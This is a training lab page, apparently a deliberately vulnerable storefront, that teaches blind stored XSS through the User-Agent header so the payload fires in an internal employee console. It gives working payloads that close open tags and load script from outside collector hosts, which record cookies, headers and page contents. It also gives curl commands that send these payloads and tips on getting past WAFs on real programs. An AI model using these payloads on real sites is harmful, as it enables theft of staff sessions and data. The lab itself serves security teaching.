Place an order

Markdown Manual (print edition)

lab storefront · fake products, fake card numbers

Checkout fingerprints your browser (like real storefronts do for fraud checks): the employee console stores your client details with every order. Plant anything you want here: a fake card number is fine — this is not a real website.

Employee console: panel.php · Built-in beacon hits land in the shared inbox.

Method — headers are stored input too
  1. Place an order normally with test123 and a dummy card. It confirms without echoing your client details — but the order record keeps your IP and User-Agent.
  2. Why headers: companies fingerprint browsers for fraud and login protection, then print those details in internal consoles (shipment desks, dispute queues). You'll never see that page — but your header will.
  3. Inject via proxy (the transcript's match & replace): add a rule in Caido/Burp that rewrites the request header User-Agent to your blind payload, with the usual closures up front. Every subsequent request carries it automatically.
  4. No proxy? curl -A 'Payload' -d 'item=…&card=…' does the same for one request.
  5. WAF caveat: big programs may challenge header payloads — that's where manual, targeted match & replace wins over script-kiddie payloads.
  6. Hunter payload: sign up at xss.report, copy your collector's payload from its dashboard, and put it into the User-Agent (the box below shows the closure-assumption shape). When it fires, the dashboard records it — page, headers, cookies, DOM screenshot.
</textarea></style></script><script src="https://xss.report/c/YOUR-COLLECTOR"></script>

Classroom alternative: </textarea></style></script><script src="https://stuxnet.pro/xss/lab15/b.js"></script> — its hits land in the lab inbox instead of your xss.report dashboard.

  1. Confirm by signal: with the xss.report collector, watch your dashboard; with the classroom beacon, reload the lab inbox — either reports the moment an employee (or your simulated visit) renders your order.
Spoiler: the header payload, and where it lives

Send the order with:

  • curl -A '</textarea></script><script src="https://xss.report/c/YOUR-COLLECTOR"></script>' --data 'item=Manual&card=4242424242424242' https://stuxnet.pro/xss/lab15/index.php

Self-demo like the lesson: repeat the order with -A '<script>alert(2)</script>', open panel.php, and the popup fires while rendering your order's client details. The durable part stays real: any render — yours, an employee's, days later — fires your collector and lands on your xss.report dashboard (the classroom beacon tips the lab inbox instead). Orders keep the last 12 records.